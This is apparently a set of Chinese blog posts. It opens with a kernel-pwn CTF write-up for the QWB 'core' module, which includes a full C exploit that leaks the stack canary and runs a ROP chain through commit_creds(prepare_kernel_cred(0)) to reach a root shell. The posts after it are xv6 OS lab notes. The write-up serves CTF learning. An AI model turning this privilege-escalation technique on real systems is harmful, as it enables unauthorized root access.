/proc umount /sys poweroff -d 0 -f 看不太懂,先把 poweroff 注释掉再打包回去再说 这里把 kallsyms 复制过去了,可以得到内核各个符号的地址 注意这里的解包和打包不太一样,发现还有一层 gzip 的压缩,卡了好久 wsfw 123456find . | cpio -o -H newc | gzip -9 > ../core.cpio# 后来发现自带了打包脚本 gen_cpio.shfind . -print0 \\| cpio --null -ov --format=newc \\| gzip -9 > $1 分析 LKM浅浅 checksec 一下 123456$ checksec core.ko Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0) 然后直接拖入 IDA 即可 先看看 init_module 123456__int64 init_module(){ core_proc = proc_create("core", 0666LL, 0LL, &core_fops); printk(&unk_2DE); return 0LL;} 创建一个进程节点文件 /proc/core,用于用户进程与 LKM 通信 查看 core_fops 结构体,定义了三个函数 core_write:调用 write 时,内核调用此函数 core_ioctl:调用 ioctl 时,内核调用此函数 core_release:只有打印功能,还是看看 core_write 和 core_ioctl 家人们 12345678__int64 __fastcall core_write(__int64 fd, __int64 user, unsigned __int64 size){ printk(&unk_215); if ( size <= 0x800 && !copy_from_user(&name, user, size) ) return (unsigned int)size; printk(&unk_230); return 0xFFFFFFF2LL;} core_write 向 bss 写入最多 0x800 字节 123456789101112131415161718__int64 __fastcall core_ioctl(__int64 fd, int choice, __int64 value){ switch ( choice ) { case 0x6677889B: core_read(value); break; case 0x6677889C: printk(&unk_2CD); off = value; break; case 0x6677889A: printk(&unk_2B3); core_copy_func(value); break; } return 0LL;} core_ioctl 可调用 core_read、core_copy_func 函数,且可以设置全局变量 off 的值 123456789101112131415161718192021222324unsigned __int64 __fastcall core_read(__int64 addr_user){ char *v2; // rdi __int64 i; // rcx unsigned __int64 result; // rax char buf[64]; // [rsp+0h] [rbp-50h] BYREF unsigned __int64 v6; // [rsp+40h] [rbp-10h] v6 = __readgsqword(0x28u); printk(&unk_25B); printk(&unk_275); v2 = buf; for ( i = 16LL; i; --i ) { *(_DWORD *)v2 = 0; v2 += 4; } strcpy(buf, "Welcome to the QWB CTF challenge.\\n"); result = copy_to_user(addr_user, &buf[off], 64LL); if ( !result ) return __readgsqword(0x28u) ^ v6; __asm { swapgs } return result;} core_read 复制栈中 64 字节到用户进程空间,由于 off 可控,可以用来泄露地址和 canary 1234567891011121314151617181920__int64 __fastcall core_copy_func(__int64 size){ __int64 result; // rax char v2[64]; // [rsp+0h] [rbp-50h] BYREF unsigned __int64 v3; // [rsp+40h] [rbp-10h] v3 = __readgsqword(0x28u); printk(&unk_215); if ( size > 63 ) { printk(&unk_2A1); return 0xFFFFFFFFLL; } else { result = 0LL; qmemcpy(v2, &name, (unsigned __int16)size); } return result;} core_copy_func 传入一个 64 位大小的 size,复制 bss 上的数据到栈中 size 有检查,但是最后取 size 的低 16 位,传入一个合适负数就可以最多复制 0xffff 字节的 bss 到栈中,导致栈溢出,进行 ROP 漏洞利用 ROP漏洞利用已经很明了 core_read 可以溢出读栈,拿到 canary 和基址 这里提一嘴,才知道 canary 是一个线程一个,之前以为一个函数一个,一直没想出来怎么做😇 core_copy_func 可以溢出写栈,进行 ROP 思路 读取 kallsyms 获取 prepare_kernel_cred 和 commit_creds 的函数地址 通过 core_read 获取 canary 和基址 通过 core_write 写 ROP 链到 bss 通过 core_copy_func 复制 ROP 链栈溢出 expexp.c1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>#include <sys/ioctl.h>#include <sys/types.h>#include "../mypwn.h"#define iretq 0xffffffff81050ac2 + offset#define swapgs_popfq_ret 0xffffffff81a012da + offset#define pop_rdi_ret 0xffffffff81000b2f + offset#define mov_rdi_rax_jmp_rdx 0xffffffff8106a6d2 + offset#define pop_rdx_ret 0xffffffff810a0f49 + offset#define swapgs_restore_ret#define mov_cr4_rdi_push_rdx_popfq_ret 0xffffffff81075014 + offset#define READ 0x6677889B#define OFF 0x6677889C#define COPY_FUNC 0x6677889Avoid core_read(int fd, char *buf) { ioctl(fd, READ, buf);}void core_set_off_val(int fd, size_t off) { ioctl(fd, OFF, off);}void core_copy_func(int fd, size_t len) { ioctl(fd, COPY_FUNC, len);}int main() { unsigned long addr, offset, canary; unsigned long rop_chain[0x100]; char buf[0x300]; char type[0x10]; myLog("Start to pwn kernel"); save_status(); // Get canary & prepare_kernel_cred & commit_creds from kallsyms get_privilege_addr(NULL); offset = commit_creds - 0xffffffff8109c8e0; myLog("Get offset: %p", offset); int fd = open("/proc/core", O_RDWR); // Get canary core_set_off_val(fd, 64); core_read(fd, buf); canary = ((unsigned long *)buf)[0]; myLog("Get canary: %p", canary); int i; for(i = 0; i < 10; i++) rop_chain[i] = canary; /// ROP! rop_chain[i++] = pop_rdi_ret; rop_chain[i++] = 0; rop_chain[i++] = prepare_kernel_cred; rop_chain[i++] = pop_rdx_ret; rop_chain[i++] = commit_creds; rop_chain[i++] = mov_rdi_rax_jmp_rdx; rop_chain[i++] = swapgs_popfq_ret; rop_chain[i++] = 0; rop_chain[i++] = iretq; rop_chain[i++] = get_root_shell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write(fd, rop_chain, 0x800); core_copy_func(fd, 0xffffffffffff0000 | 0x100); return 0;} 参考链接【OS.0x01】Linux Kernel II:内核简易食用指北 【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/","link":"/2023/08/20/Kernel%20Pwn%20%E5%85%A5%E9%97%A8/"},{"title":"Lab1 Xv6 and Unix utilities","text":"开学! 启动 xv6git1234567891011121314151617git clone git://g.csail.mit.edu/xv6-labs-2022# 查看 git 日志git statusgit log# 用于获取实验所需文件git checkout util# 当完成一个实验并想要检记录进度可使用 git commitgit commit -am 'my solution for util lab exercise 1# 查看相比上一次 commit 的变化git diff# 查看相比最初的变化git diff origin/util 建立并运行 xv6 make qemu 第一步就出错了。。。 Error: Couldn't find a riscv64 version of GCC/binutils. 缺少 RISC-V 相关的 GCC/binutils 搜索 binutils apt search binutils | grep riscv64 安装第一个即可 sudo apt install binutils-riscv64-linux-gnu 接着是另一个报错 riscv64-linux-gnu-gcc -c -o kernel/entry.o kernel/entry.S make: riscv64-linux-gnu-gcc: No such file or directory make: *** [\\<builtin\\>: kernel/entry.o] Error 127 安装对应的 gcc sudo apt install gcc-10-riscv64-linux-gnu 进入 /usr/bin 目录,建立软链接 sudo ln -s riscv64-linux-gnu-gcc-10 riscv64-linux-gnu-gcc 后面又是缺少什么文件,去翻了翻 lab 介绍,发现已经给了工具链接 lab tools page sudo apt-get install git build-essential gdb-multiarch qemu-system-misc gcc-riscv64-linux-gnu binutils-riscv64-linux-gnu 这里的 gcc-riscv64-linux-gnu 下载的是 gcc-11,要再下回 gcc-10,不然会报错 sudo apt install gcc-10-riscv64-linux-gnu cd /usr/bin; sudo ln -s riscv64-linux-gnu-gcc-10 riscv64-linux-gnu-gcc 结果一气呵成~ 里面有一些很基本的命令 12345678910111213141516171819202122232425262728xv6 kernel is bootinghart 1 startinghart 2 startinginit: starting sh$ ls. 1 1 1024.. 1 1 1024README 2 2 2227xargstest.sh 2 3 93cat 2 4 32832echo 2 5 31728forktest 2 6 15680grep 2 7 36176init 2 8 32152kill 2 9 31712ln 2 10 31520ls 2 11 34728mkdir 2 12 31784rm 2 13 31768sh 2 14 53960stressfs 2 15 32496usertests 2 16 181776grind 2 17 47696wc 2 18 33832zombie 2 19 31168console 3 20 0 -甚至都没有 clear Ctrl-p 打印进程信息 Ctrl-a x 退出 qemu 结论:做任何事之前先看介绍 成绩测试1234567# 测试所有实验make grade# 测试一个程序./grade-lab-util name# 或make GRADEFLAGS=name grade sleep在 bash 中测试,能够多参数且如果一个参数错误就不执行 user/sleep.c123456789101112131415161718192021222324252627282930313233#include "kernel/types.h"#include "user/user.h"int isDigitStr(char *str) { for(int i = 0; i < strlen(str); i++) { if(str[i] < '0' || str[i] > '9') { return 0; } } return 1;}int main(int argc, char *argv[]) { int status = 0; if(argc == 1) { printf("sleep: missing operand\\n"); status = -1; } for(int i = 1; i < argc && !status; i++) { if(!isDigitStr(argv[i])) { printf("sleep: invalid time interval\\n"); status = -1; } } for(int i = 1; i < argc && !status; i++) { sleep(atoi(argv[i])); } exit(status);} 源代码放在 user 目录下,每次写完一个程序在 Makefile 中的 UPROGS 下添加一行 $U/_sleep\\ 然后 make qemu 编译运行 之后可以在 qemu 外运行 /grade-lab-util sleep 进行单项测试 12345$ ./grade-lab-util sleepmake: 'kernel/kernel' is up to date.== Test sleep, no arguments == sleep, no arguments: OK (1.5s)== Test sleep, returns == sleep, returns: OK (0.6s)== Test sleep, makes syscall == sleep, makes syscall: OK (1.0s) pingpong简单题 父进程发送子进程一个字节,子进程收到后再给父进程一个字节 user/pingpong.c1234567891011121314151617181920212223242526#include "kernel/types.h"#include "user/user.h"int main(int argc, char *argv[]) { int pid, p[2]; pipe(p); pid = fork(); if(pid == 0) { if(read(p[0], 0, 1)) { pid = getpid(); printf("%d: received ping\\n", pid); write(p[1], "L", 1); exit(0); } } else { write(p[1], "H", 1); if(read(p[0], 0, 1)) { pid = getpid(); printf("%d: received pong\\n", pid); } exit(0); } exit(-1);} primes有点难度,想了好久,感觉是要用递归,但是没想出来怎么写 想到在看网课的时候,进入子进程先把 close(0),然后 dup(p[1]),也就是把子进程的标准输入改为管道的输入了,这样就容易写递归了 每次只输出接收到的第一个数,它必然是素数 当从输入接收不到 prime 的时候 exit(0) 这里注意 dup(p[1]) 后要把管道都给关了 user/primes.c1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859#include "kernel/types.h"#include "user/user.h"void printPrime(int prime);void primes(int start);int main(int argc, char *argv[]) { primes(1); exit(-1);}void printPrime(int prime) { printf("prime %d\\n", prime);}void primes(int start) { int prime = 2; int n, pid, p[2]; if(!start && read(0, &prime, sizeof(prime)) == 0) { exit(0); } printPrime(prime); pipe(p); pid = fork(); if(pid == 0) { // p[0] => stdin close(0); dup(p[0]); close(p[0]); // do not need p[1] close(p[1]); primes(0); exit(0); } else { if(start == 1) { for(int i = 3; i <= 35; i++) { if(i % prime != 0) { write(p[1], &i, sizeof(i)); } } } else { while(read(0, &n, sizeof(n))) { if(i % prime != 0) { write(p[1], &n, sizeof(n)); } } } close(p[1]); // wait for child process int status; wait(&status); exit(status); }} find同样也是递归,从目录里查找文件可以参考 ./user/ls.c 当找的是文件或者时比较名字 当找的是目录时,从 fd 读取 struct dirent[],表示目录下的每个文件,里面有 name,表示文件名,注意过滤 . 和 .. user/find.c12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576#include "kernel/types.h"#include "kernel/fcntl.h"#include "kernel/stat.h"#include "kernel/fs.h"#include "user/user.h"int find(char *path, char *filename);int main(int argc, char *argv[]) { if(argc != 3) { printf("find: invalid arguments\\n"); } int status = find(argv[1], argv[2]); exit(status);}int find(char *path, char *filename) { char buf[512]; char *name, *p; int fd; struct stat st; struct dirent de; if((fd = open(path, O_RDONLY)) < 0) { printf("find: cannot open %s\\n", path); return -1; } if(fstat(fd, &st) < 0) { printf("find: cannot stat %s\\n", path); close(fd); return -1; } switch (st.type) { case T_DEVICE: case T_FILE: name = path; // get position of filename for(int i = strlen(path) - 1; i >= 0; i--) { if(path[i] == '/') { name = &path[i+1]; break; } } if(!strcmp(name, filename)) { printf("%s\\n", path); } break; // if path is directory case T_DIR: if(strlen(path)+1+DIRSIZ+1 > sizeof(buf)) { printf("find: path too long\\n"); close(fd); return -1; } strcpy(buf, path); p = buf + strlen(buf); *p++ = '/'; while(read(fd, &de, sizeof(de)) == sizeof(de)) { // excpet for "." and ".." if(de.inum == 0 || !strcmp(de.name, ".") || !strcmp(de.name, "..")) { continue; } memmove(p, de.name, DIRSIZ); p[DIRSIZ] = '\\0'; find(buf, filename); } break; } close(fd); return 0;} xargs一开始没懂 sh 怎么实现管道 测试发现就是将管道的读端作为 | 右边程序的标准输入 主要是判断什么时候跳出循环 user/xargs.c12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455#include "kernel/types.h"#include "kernel/param.h"#include "user/user.h"int main(int argc, char *argv[]) { int status, pid, new_argc; int idx = 0; char buf; char *new_argv[MAXARG]; for(int i = 1; i < argc; i++) { new_argv[i-1] = argv[i]; } while(read(0, &buf, 1)) { new_argc = argc; idx = 0; new_argv[new_argc-1] = (char*)malloc(MAXARG); do { // only read one line each time if(buf == '\\n') { new_argv[new_argc-1][idx] = '\\0'; new_argv[new_argc] = 0; break; } else if(buf == ' ') { // if meet ' ', divide into more argv // except for two ' ' if(idx == 0) { continue; } new_argv[new_argc-1][idx] = '\\0'; new_argc++; idx = 0; new_argv[new_argc-1] = (char*)malloc(MAXARG); continue; } new_argv[new_argc-1][idx++] = buf; } while(read(0, &buf, 1)); pid = fork(); if(pid == 0) { exec(new_argv[0], new_argv); printf("wrong command\\n"); exit(-1); } else { wait(&status); } for(int i = argc; i <= new_argc; i++) { free(new_argv[i-1]); } } exit(status);} Optional challenge exercises写一个 uptime 程序来调用 uptime 系统调用直接调用 uptime 然后打印返回值就好了 对 grep 实现正则匹配yysy,对正则表达式不是很了解 改造 sh#todo","link":"/2022/10/13/Lab1_Xv6_and_Unix_utilities/"},{"title":"Lab2 System Calls","text":"开学! 实验开始前123git fetchgit checkout syscallmake clean 使用 gdb 查看 backtrace 的输出,哪个函数调用了 syscall usertrap() 在 syscall 设置断点后,输入 backtrace 查看栈回溯 p->trapframe->a7 的值是多少,值代表什么? 7,代表系统调用号 SYS_exec p/x *p->trapframe 输出 p 的 trapframe 内容 CPU 的上一个模式是什么? 用户模式 p/x $sstatus 输出 sstatus 寄存器的值,0x22 在 kernel/riscv.h 中有定义:#define SSTATUS_SPP (1L << 8) // Previous mode, 1=Supervisor, 0=User,也可以看给的文档 这里的 SPP 位为 0,因此上一个模式是用户模式 令 num = * (int *) 0;,kernel 在哪条汇编指令 panic,哪个寄存器对应变量 num lw a3, 0(zero),a3 查看 panic 时 spec 寄存器的值指向哪个汇编 为什么内核崩溃了?在内核地址空间 0 地址有映射吗?上面的 scause 值是否证实这一点? 因为尝试读取 0 地址,它没有有效映射 寄存器 scause 表示发生 trap 的原因,这里的 scause 是 0xd,查看文档可以知道,0xd 表示 Load page fault,合理 当内核 panic 时进程的名字是什么?进程 pid 是多少? “initcode”,1 一开始做因为寄存器的值不了解,还不太能看懂文档,没能理解,跳过了,有些答案是后面更新的 疑问 访问到 0 地址时为什么会跳转到 kernelvec 中 scause、sepc、stval 的含义 更新:访问 0 发生了 trap,需要跳转到处理内核 trap 的位置,即 kerneltrap,而在处理之前,先保存内核的状态,kernelvec 就是做这样的事情;scause 描述 trap 原因,sepc 保存发生 trap 时 pc 的值,stval 保存发生 trap 的值 System call tracing在 user/trace.c 已经写好了程序,只需要实现系统调用即可 先在 user/user.h 加上原型,在 user/usys.pl 加上 stub(存根),在 kernel/syscall.h 加上系统调用号 在 kernel.c 的 proc 结构体加上一个新变量 trace_mask 在 kernel/sysproc.c 加上 sys_trace,设置当前进程的 track_mask kernel/sysproc.c1234567891011uint64sys_trace(int){ int mask; argint(0, &mask); if(mask < 0) mask = 0; myproc()->trace_mask = mask; return 0;} 修改 kernel/proc.c 的 fork 函数,将父进程的 tracemask 传给子进程 kernel/proc.c1np->trace_mask = p->trace_mask; 修改 kernel/syscall.c 的 syscall 函数,如果是 trace_mask 对应的系统调用号,就打印出来(里面还要添加一个字符串数组 syscallNames) kernel/syscall.c12345ret = syscalls[num]();p->trapframe->a0 = ret;if(p->tracemask && 1<<num) printf("%d: syscall %s -> %d\\n", p->pid, syscall_names[num], ret); 一个很简单的系统调用,仅仅是获取系统调用参数,然后将参数传给 p->trace_mask,在 syscall 函数中检查输出调用的系统调用,就可以实现,但是能学到很多细节 Sysinfo这里我们要使用 copyout,因为系统调用函数位处于内核模式,需要进程的页表和虚拟地址来查找用户进程中变量的物理位置(比如 sysinfo 结构体),然后将内核的数据复制给用户进程 kernel/sysproc.c1234567891011121314151617uint64sys_sysinfo(void){ uint64 si; struct sysinfo info; argaddr(0, &si); if(!si) { return -1; } info.freemem = get_freemem(); info.nproc = get_nproc(); if(copyout(myproc()->pagetable, si, (char*)&info, sizeof(info)) < 0) { return -1; } return 0;} 写 get_freemem 时,观察 kalloc 函数,直接从 kmem.freelist 取一页内存返回,可以推测 kmem.freelist 包含所有可用的内存 kernel/kalloc.c1234567891011uint64get_freemem(void){ struct run *r; uint64 n = 0; for(r = kmem.freelist; r; r = r->next) { n += 4096; } return n;} 写 ger_nproc 时,观察 procinit 函数,在 proc[NPROC] 数据中遍历初始化,且其中含 state 变量 kernel/proc.c123456789101112uint64get_nproc(void){ struct proc *p; uint64 nproc = 0; for(p = proc; p < &proc[NPROC]; p++) { if(p->state != UNUSED) { nproc++; } } return nproc;} 记得在 sysproc.c 引入 sysinfo.h,在 defs.h 加上 get_freemem 和 get_nproc Optional challenge exercises打印出被追踪的系统调用的参数每个系统调用参数个数记录在数组里,然后打印出来就好了 kernel/syscall.c12345if(p->trace_mask & 1<<num) { printf("%d: syscall %s -> %d\\n", p->pid, syscall_names[num], ret); for(int i = 0; i < syscall_args[num]; i++) printf("arg%d: %p\\n", i+1, argraw(i));} 打印出来是这样的 1234567891011121314151617$ trace 32 grep hello README3: syscall read -> 1023arg1: 0x00000000000003ffarg2: 0x0000000000001010arg3: 0x00000000000003ff3: syscall read -> 961arg1: 0x00000000000003c1arg2: 0x000000000000104earg3: 0x00000000000003c13: syscall read -> 321arg1: 0x0000000000000141arg3: 0x0000000000001037arg3: 0x00000000000003d83: syscall read -> 0arg1: 0x0000000000000000arg2: 0x0000000000001010arg3: 0x00000000000003ff 计算负载平均值并通过 sysinfo 导出可以借用 Linux 的算法计算(懒)","link":"/2022/10/20/Lab2_System_calls/"},{"title":"Lab3 Page Tables","text":"开学! git123git fetchgit checkout pgtblmake clean Speed up system calls为了优化 getpid 系统调用,不用每次进入内核态获取 PID,创建一个用户可读的页,将 USYSCALL 映射到该页上 可以观察 ugetpid 函数的定义,它直接访问 USYSCALL 即可拿到 pid,不需要系统调用,算是以空间换时间 user/ulib.c123456intugetpid(void){ struct usyscall *u = (struct usyscall *)USYSCALL; return u->pid;} 在 kernel/proc.h 中 proc 结构体加入 struct usyscall *usyscall 在 allocproc 初始化 usyscall kernel/proc.c12345678910111213static struct proc* allocproc(void){ ... if((p->usyscall = (struct usyscall *)kalloc()) == 0){ freeproc(p); release(&p->lock); return 0; } p->usyscall->pid = p->pid; ...} 在 proc_pagetable 建立映射 kernel/proc.c1234567891011121314pagetable_t proc_pagetable(struct proc *p){ ... if(mappages(pagetable, USYSCALL, PGSIZE, (uint64)(p->usyscall), PTE_R | PTE_U) < 0){ uvmunmap(pagetable, TRAPFRAME, 1, 0); uvmunmap(pagetable, TRAMPOLINE, 1, 0); uvmfree(pagetable, 0); return 0; } ...} 在 freeproc 释放 usyscall kernel/proc.c12345678910static void freeproc(struct proc *p){ ... if(p->usyscall) kfree((void*)p->usyscall); p->usyscall = 0; ...} 在 proc_freepagetable 取消页面映射(这里实验文档没说,要自己发现在 freeproc 函数中调用了这个函数) kernel/proc.c12345678voidproc_freepagetable(pagetable_t pagetable, uint64 sz){ uvmunmap(pagetable, TRAMPOLINE, 1, 0); uvmunmap(pagetable, TRAPFRAME, 1, 0); uvmunmap(pagetable, USYSCALL, 1, 0); uvmfree(pagetable, sz);} 提问:还有什么其他的系统调用可以通过这样的共享页来加快速度? 怎么感觉没有了 Print a page tablexv6 使用三级页表,在运行第一个用户进程时打印出其页表 这里使用一个静态变量 level 表示在第几级页表 kernel/vm.c12345678910111213141516171819202122voidpteprint(pagetable_t pagetable, int level){ for(int i = 0; i < 512; i++) { pte_t pte = pagetable[i]; if(pte & PTE_V) { uint64 child = PTE2PA(pte); for(int j = 0; j < level; j++) printf(" .."); printf("%d: pte %p pa %p\\n", i, pte, child); if((pte & (PTE_R | PTE_W | PTE_X)) == 0) pteprint((pagetable_t)child, level+1); } }}voidvmprint(pagetable_t pagetable){ printf("page table %p\\n", pagetable); pteprint(pagetable, 1);} 笔者之前使用局部静态变量来判断 level,但是想着如果是多线程的话没有加锁可能会出问题 然后在 defs.h 和 exec.c 中添加声明和使用就行 Detect which pages have been accessedRISC-V 硬件会在 TLB 命中失败时,将对应 PTE 的 Access 标志位设 1,用来记录该页面有没有访问过 写一个系统调用,三个参数,检测的地址,检测的页数,bitmask 挺简单的,不知道为什么实验难度写着 hard kernel/sysproc.c1234567891011121314151617181920212223242526272829303132333435#define PTE_A (1L << 6)intsys_pgaccess(void){ uint64 base; uint64 mask; int len; unsigned int abits; argaddr(0, &base); argint(1, &len); if(len > 32) return -1; argaddr(2, &mask); abits = 0; pagetable_t pagetable = myproc()->pagetable; for(int i = 0; i < len; i++) { pte_t *pte = walk(pagetable, base + PGSIZE * i, 0); if(pte == 0) return -1; if(*pte & PTE_A) { abits |= 1 << i; *pte &= ~PTE_A; } } if(copyout(pagetable, mask, (char*)&abits, sizeof(abits)) < 0) return -1; return 0;``} 注意检测完后,将标记置零,不然不知道检测后还没有访问过 Optional challenge exercises使用 super-pages 减少页表中 PTE 的数量不是很懂,改用更大的页(?) 取消用户进程的第一页的映射,这样可以使引用空指针直接造成错误 需要修改 user.ld 文件,让进程的 text 段从 0x1000 开始,而不是 0 估计要改很多东西(uvmmap,uvmalloc啥的)。。。咕咕咕 添加一个系统调用报告 dirty pages(修改过的页表)和第三个差不多,就不做了","link":"/2022/10/23/Lab3_Page_tables/"},{"title":"Lab4 Traps","text":"开学! RISC-V assemblyuser/call.c123456789101112int g(int x) { return x+3;}int f(int x) { return g(x);}void main(void) { printf("%d %d\\n", f(8)+1, 13); exit(0);} 阅读 user/call.asm 回答问题~ main.asm12345678910111213141516171819000000000000001c <main>:void main(void) { 1c: 1141 addi sp,sp,-16 1e: e406 sd ra,8(sp) 20: e022 sd s0,0(sp) 22: 0800 addi s0,sp,16 printf("%d %d\\n", f(8)+1, 13); 24: 4635 li a2,13 26: 45b1 li a1,12 28: 00000517 auipc a0,0x0 2c: 7c850513 addi a0,a0,1992 # 7f0 <malloc+0xee> 30: 00000097 auipc ra,0x0 34: 614080e7 jalr 1556(ra) # 644 <printf> exit(0); 38: 4501 li a0,0 3a: 00000097 auipc ra,0x0 3e: 290080e7 jalr 656(ra) # 2ca <exit>} 传给函数的参数保存在哪些寄存器中?例如 main 函数中的调用 printf 的参数 13 保存在哪个寄存器中? a0 ~ a7 保存函数参数,更多的参数放在栈中 main 调用 printf 的参数 13 在 a2 中 main 函数中调用 f 函数的汇编代码在哪?调用 g 函数的代码在哪?(提示:编译器可能内联函数) 真的有调用吗。。。感觉编译器优化了,直接把 f(8)+1 的结果计算出来为 12,传给 a1 寄存器了。 printf 函数的地址是多少? 看注释,在 0x644 在 main 函数中,在执行 jalr 跳转到 printf 后,ra 寄存器的值时多少? 0x38 jalr 会将下一条指令的地址存到括号中的寄存器中 运行下面的代码,输出什么?unsigned int i = 0x00646c72;printf(“H%x” Wo%s”, 57616, &i); He110 World 下面的代码,会打印出 ‘y=’ 什么?printf(“x=%d y=%d”, 3); 按照 RISC-V 的函数调用约定,会打印出 a2 寄存器的值 Backtrace对内核的函数调用进行回溯,比较简单 根据 RISC-V 的函数调用约定,ra 位于 fp - 0x8 的位置,Prev.fp 位于 fp - 0x10 的位置 在内核栈中,最后一个栈帧指针位于页面的首地址,根据这个可以判断何时退出循环 可以通过 gdb 进行调试,0x3ffffff9fc0 -> 0x3ffffffe0 -> 0x3ffffffa000 1234567891011(gdb) x/20gx $fp-0x100x3fffff9f70: 0x0000003fffff9fc0 0x00000000800021aa0x3fffff9f80: 0x0000003fffff9fc0 0x00000001ffff9fa00x3fffff9f90: 0x0000003fffff9fc0 0x00000000000000200x3fffff9fa0: 0x0000000087f70000 0x00000000800090300x3fffff9fb0: 0x0000003fffff9fe0 0x000000008000201c0x3fffff9fc0: 0x0000000000000063 0x00000000800090300x3fffff9fd0: 0x0000003fffffa000 0x0000000080001d120x3fffff9fe0: 0x0000000000000063 0x0000000000014f500x3fffff9ff0: 0x0000000000003fd0 0x00000000000000120x3fffffa000: Cannot access memory at address 0x3fffffa000 但是在用户栈中,最后一个栈帧指针是页面的首地址 - 0x10,就很怪。。。 比如在 sh 打印 $ 时,查看用户栈,0x4fd0 -> 0x4fe0 -> 0x4ff0,最后一个指针是 0x4ff0 12345678910(gdb) x/20gx $fp-0x100x4f80: 0x0000000000004fd0 0x0000000000000ade0x4f90: 0x0000000000000000 0x05050505050505050x4fa0: 0x0505050505050505 0x05050505050505050x4fb0: 0x00000000000008a8 0x00000000000000000x4fc0: 0x0000000000004fe0 0x0000000000000b660x4fd0: 0x0000000000003fd0 0x00000000000000de0x4fe0: 0x0000000000004ff0 0x00000000000000000x4ff0: 0x0000000000006873 0x00000000000000000x5000: Cannot access memory at address 0x5000 算了,不管这么多了,反正也只用回溯内核栈 把 backtrace 贴到 kernel/printf.c 中,在 kernel/defs.h 中添加声明,然后在 sys_sleep 调用就好了 kernel/printf.c12345678voidbacktrace(void){ printf("backtrace:\\n"); for(uint64 fp = r_fp(); fp != PGROUNDUP(fp); fp = *(uint64*)(fp-0x10)){ printf("%p\\n", *(uint64*)(fp-0x8)); }} 获得的地址可以通过 addr2line 得到对应的程序代码的位置,便于调试 如 addr2line -e kernel/kernel 放到 panic 函数中,可以更好地方便内核崩溃原因 Alarm添加一个用户级的定时器中断,也就是 sigalarm(interval, handler) 和 sigreturn() 每 n 次硬件计时器中断,就会调用一次 handler,在 handler 中要有 sigreturn 保证还原到原本的状态 笔者天真地以为保存 p->trapframe->epc 就行了,wsfw(还有通用寄存器要进行保存) 在 proc 结构体添加变量kernel/proc.h123456789struct proc { ... int ticks; int alarm_interval; uint64 alarm_handler; struct trapframe *alarm_state;} ticks 保存计时器中断次数,每中断一次,ticks++ alarm_state 直接用 struct trapframe 结构体保存原状态(笔者是个懒人 在每次调用 handler 前,将其指向 p->trapframe + 1,sigreturn 后置零 初始化kernel/proc.c12345678910111213static struct proc*allocproc(void){ ... p->ticks = 0; p->alarm_interval = 0; p->alarm_handler = 0; p->alarm_state = 0; return p;} 添加系统调用kernel/sysproc.h1234567891011121314151617181920212223242526uint64sys_sigalarm(void){ int ticks; uint64 handler; struct proc *p = myproc(); argint(0, &ticks); argaddr(1, &handler); p->alarm_interval = ticks; p->alarm_handler = handler; return 0;}uint64sys_sigreturn(void){ struct proc *p = myproc(); uint64 a0 = p->alarm_state->a0; memmove(p->trapframe, p->alarm_state, sizeof(struct trapframe)); memset(p->alarm_state, 0, sizeof(struct trapframe)); p->alarm_state = 0; return a0;} 计时器中断时判断是否执行 handlerkernel/trap.c12345678910111213141516voidusertrap(void){ ... // give up the CPU if this is a timer interrupt. if(which_dev == 2) { yield(); p->ticks++; if(p->alarm_interval && !p->alarm_state && p->ticks % p->alarm_interval == 0) { p->alarm_state = p->trapframe + 1; memmove(p->alarm_state, p->trapframe, sizeof(struct trapframe)); p->trapframe->epc = p->alarm_handler; } }} 最后添加一些声明即可 Option challenge exercisesbacktrace 打印函数名和行号#todo","link":"/2022/10/31/Lab4_Traps/"},{"title":"Lab5 Copy-on-write fork","text":"页表牛逼 实现 Copy-on-write fork 添加宏定义 PTE_COW,使用 PTE 的 RSW 最低有效位,来标识是否是 COW 页,只用于可写页 kernel/riscv.h1#define PTE_COW (1L << 8) 添加 reference count 标识一个物理页面被几个用户页表指向,初始化,增减 提示使用 kenel/kalloc.c 里 kinit() 里 freerange() 的范围,通过调试 end = 0x80041c50,PHYSTOP = 0x88000000,相减除以 4096 得 0x7fbe 但是在 make qemu 时,过 usertests -q 时,最后会显示丢失一些页,但是 make CPUS=1 qemu-gdb 时又显示通过,可能子啊多核时会出现一些问题,很怪 将 0x7fbe 改为 0x7fc0 就没有问题,不是很懂,如果有了解的师傅可以告诉我🐎 笔者把它放到 kmem 里,增减时用 kmem.lock 锁 kernel/kalloc.c123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778struct { struct spinlock lock; struct run *freelist; uint refers[0x7fc0];} kmem;voidkinit(){ initlock(&kmem.lock, "kmem"); acquire(&kmem.lock); for(int i = 0; i < sizeof(kmem.refers) / sizeof(kmem.refers[0]); ++i) { kmem.refers[i]++; } release(&kmem.lock); freerange(end, (void*)PHYSTOP);}voidkfree(void *pa){ struct run *r; if(((uint64)pa % PGSIZE) != 0 || (char*)pa < end || (uint64)pa >= PHYSTOP) panic("kfree"); krefDecre(pa); if(!kref(pa)) { // Fill with junk to catch dangling refs. memset(pa, 1, PGSIZE); r = (struct run*)pa; acquire(&kmem.lock); r->next = kmem.freelist; kmem.freelist = r; release(&kmem.lock); }}void *kalloc(void){ struct run *r; acquire(&kmem.lock); r = kmem.freelist; if(r) kmem.freelist = r->next; release(&kmem.lock); if(r) { krefIncre((void*)r); memset((char*)r, 5, PGSIZE); // fill with junk } return (void*)r;}uintkref(void *pa){ return kmem.refers[(pa - (void*)end)/4096];}voidkrefIncre(void *pa){ acquire(&kmem.lock); kmem.refers[(pa - (void*)end)/4096]++; release(&kmem.lock);}voidkrefDecre(void *pa) { acquire(&kmem.lock); kmem.refers[(pa - (void*)end)/4096]--; release(&kmem.lock);} 修改 uvmcopy,在复制时将子进程页表直接指向父进程页表对应的物理地址 因为在调用 fork 时,复制内存就是直接调用 uvmcopy,修改这个就行 当遇到可写的页时,取消 PTE_W,添加 PTE_COW 